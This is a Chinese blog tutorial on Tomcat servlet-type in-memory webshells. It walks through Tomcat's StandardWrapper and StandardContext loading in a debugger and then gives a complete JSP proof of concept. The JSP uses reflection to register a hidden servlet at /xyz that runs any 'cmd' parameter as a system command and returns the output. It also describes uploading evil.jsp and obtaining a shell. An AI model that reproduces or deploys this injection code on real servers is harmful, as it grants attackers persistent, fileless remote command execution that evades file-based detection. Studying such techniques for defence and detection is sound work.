Tomcat内存马学习2:Servlet型

0x00 前言

上一篇讲了filter型内存马,而这次这个servlet型内存马也是大同小异,就是在内存中恶意创建一个servlet供攻击者使用

0x01 恶意servlet

class ServletDemo implements Servlet{
    @Override
    public void init(ServletConfig config) throws ServletException {}
    @Override
    public String getServletInfo() {return null;}
    @Override
    public void destroy() {}    public ServletConfig getServletConfig() {return null;}

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        if (cmd != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
    }
}

接下来就是研究如何动态注册这个servlet了

0x02 Servlet加载机制

  1. 利用StandardWrapper封装servlet
  2. 将StandardWrapper添加到standcontext中
  3. 加载阶段获取context中所有StandardWrapper
  4. 执行StandardWrapper.load,在load方法中进行Servlet的加载与初始化

创建StandardWrapper

给StandardContext#startInternal里面的fireLifecycleEvent打上断点,这个方法的作用就是根据web.xml配置文件创建对应servlet的StandardWrapper对象,并将这些对象存储到standcontext的children成员变量中去

跟进fireLifecycleEvent

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-32LEaOqN-1658574122441)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723174644735.png)]

跟进lifecycleEvent

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oMhR51cP-1658574122442)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723174737162.png)]

继续跟进configureStart

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ITM1i2mM-1658574122442)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723174758507.png)]

这里通过ContextConfig#webConfig()方法解析web.xml获取各种配置参数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4R1rz60u-1658574122443)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723174954027.png)]

因为我们并没有用webxml的配置方式所以这里的webxml为null

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Vvm3WIlc-1658574122443)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723175229440.png)]

往下走来到configureContext,这个是创建StandWrapper对象,并根据解析参数初始化StandWrapper对象

 private void configureContext(WebXml webxml) {
        // As far as possible, process in alphabetical order so it is easy to
        // check everything is present
        // Some validation depends on correct public ID
        context.setPublicId(webxml.getPublicId());
 
...   //设置StandardContext参数
 
        
        for (ServletDef servlet : webxml.getServlets().values()) {
 
            //创建StandardWrapper对象
            Wrapper wrapper = context.createWrapper();
 
            if (servlet.getLoadOnStartup() != null) {
 
                //设置LoadOnStartup属性
                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
            }
            if (servlet.getEnabled() != null) {
                wrapper.setEnabled(servlet.getEnabled().booleanValue());
            }
 
            //设置ServletName属性
            wrapper.setName(servlet.getServletName());
            Map<String,String> params = servlet.getParameterMap();
            for (Entry<String, String> entry : params.entrySet()) {
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
            Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }
 
            //设置ServletClass属性
            wrapper.setServletClass(servlet.getServletClass());
            ...
            wrapper.setOverridable(servlet.isOverridable());
 
            //将包装好的StandWrapper添加进ContainerBase的children属性中
            context.addChild(wrapper);
 
           for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
          
            //添加路径映射
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }
        }
        ...
    }

!!!这里就来到了重要的地方,通过context创建wrapper对象并将servlet封装在里面

首先在965行创建一个standwrapper对象

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZHLP5JPY-1658574122443)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723175647834.png)]

然后设置wrapper的LoadOnStartup值,值根据servlet.getLoadOnStartup()获得,而这里的servlet为我们的Test servlet。这里设置为了-1

这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被访问时才加载到内存中。

针对设置了 loadOnStartup 属性的 Servlet 而言即将其值设置为1,会在系统加载的时候创建具体的处理实例对象

在没有配置load-on-startup 属性的 Servlet 而言,是不会在系统加载的时候创建具体的处理实例对象,依旧还只是个配置记录在Context中。真正的创建则是在第一次被请求的时候,才会实例化

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gunff8KW-1658574122444)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723175850963.png)]

然后在973行设置了ServletName属性

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xavHdk9D-1658574122444)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723180429963.png)]

然后设置了wrapper的ServletClass属性

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LWpoXybu-1658574122444)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723180502483.png)]

此时一个封装了Test servlet的standwrapper对象初始化完毕,接下来在1017行将其添加到standcontext的children成员变量中去

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aAwNzINo-1658574122445)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723180754355.png)]

然后在1024行通过addServletMappingDecoded()方法添加Servlet对应的url映射

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1IKM6fqK-1658574122445)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723180857347.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zK3fLRq0-1658574122445)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723181223883.png)]

至此,Test servlet的standwrapper初始化完毕并添加到了standcontext中去。接下来就到了加载standwrapper环节

回顾一下这一阶段干的事情:

  1. ContextConfig#webConfig()解析web.xml获取各种配置参数
  2. 通过configureContext(webXml)创建StandWrapper对象,在其中会根据对应servlet信息对其进行初始化
  3. 将初始化后的StandWrapper对象添加到standcontext中并添加路由映射

standcontext中有两个变量需要关注,一个是children(保存StandWrapper对象的地方),一个是servletMappings(保存映射关系的地方)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6fqczGGE-1658574122445)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723182147386.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nJ1FsDCJ-1658574122446)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723182156797.png)]

加载StandardWrapper

上一阶段我们初始化了standwrapper,现在就开始加载standwrapper。

回到刚开始创建StandardWrapper的地方,继续往下走

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RZazhDfm-1658574122446)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723182402995.png)]

在3049行,通过findChildren()获取所有的StandardWrapper

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Fr4ofUHF-1658574122446)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723182505036.png)]

然后依次加载完Listener、Filter后,就通过loadOnStartUp()方法加载wrapper

加载Listener

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7z7FLCIY-1658574122446)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723182610339.png)]

加载filter

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kkYdqNki-1658574122447)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723182637157.png)]

最后通过loadOnStartUp()方法加载wrapper

跟进loadOnStartUp

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PcjrH6o7-1658574122447)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723182822372.png)]

只有当loadOnStartup大于0时才会将该wrapper加入到list中,并最终进行load加载

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jnC0rKOj-1658574122447)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723182939628.png)]

走到2919行就完成了我们wrapper的加载,也就是这个load函数。至此Servlet才被加载到内存中。

回顾一下这一阶段干的事情:

  1. 获取standcontext中所有的standwrapper对象
  2. 判断standwrapper对象的loadOnStartup是否大于零
  3. 对符合条件的standwrapper对象执行其load方法,在此过程中完成Servlet的加载与初始化

0x03 Servlet内存马

熟悉了整个servlet加载流程后,我们开始创建Servlet内存马

  1. 编写恶意Servlet
  2. 获取StandardContext对象
  3. 通过StandardContext.createWrapper()创建StandardWrapper对象
  4. 设置StandardWrapper对象的loadOnStartup属性值
  5. 设置StandardWrapper对象的ServletName属性值
  6. 设置StandardWrapper对象的instance属性值
  7. 设置StandardWrapper对象的ServletClass属性值
  8. StandardWrapper对象添加进StandardContext对象的children属性中
  9. 通过StandardContext.addServletMappingDecoded()添加对应的路径映射
  10. 完成恶意Servlet的动态注册

POC如下:

将恶意servlet封装为standwrapper并添加到standcontext中并设置路由映射从而完成恶意servlet的动态注册

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext"%>
<%@ page import = "org.apache.catalina.core.StandardContext"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "java.io.IOException"%>
<%@ page import = "java.lang.reflect.Field"%>


<%
    class ServletDemo implements Servlet{
        @Override
        public void init(ServletConfig config) throws ServletException {}
        @Override
        public String getServletInfo() {return null;}
        @Override
        public void destroy() {}    public ServletConfig getServletConfig() {return null;}

        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            if (cmd != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
        }
    }
%>


<%
    ServletContext servletContext =  request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    ServletDemo demo = new ServletDemo();
    org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();

//设置Servlet名等
    demoWrapper.setName("xyz");
    demoWrapper.setLoadOnStartup(1);
    demoWrapper.setServlet(demo);
    demoWrapper.setServletClass(demo.getClass().getName());
    standardContext.addChild(demoWrapper);

//设置ServletMap
    standardContext.addServletMapping("/xyz", "xyz");
    out.println("inject servlet success!");
%>

0x04 漏洞复现

上传evil.jsp到服务器,并执行。显示inject servlet success!说明内存马注入成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NjCxq9pY-1658574122447)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723184630948.png)]

此时服务器上存在一个我们自己编写的servlet在工作,路径为/xyz

访问一下,成功拿到shell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xVrJicQ9-1658574122447)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220723184727063.png)]

0x05 总结

  1. 必须搞懂servlet的加载机制(创建standwrapper,添加到standcontext中,加载standwrapper)
  2. 在此加载机制基础上,设计出servlet内存马poc

0x06 参考文章

https://goodapple.top/archives/1355

https://www.cnblogs.com/CoLo/p/15782888.html

https://www.freebuf.com/articles/web/322580.html

https://uuzdaisuki.com/2021/06/29/tomcat%E6%97%A0%E6%96%87%E4%BB%B6%E5%86%85%E5%AD%98webshell

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值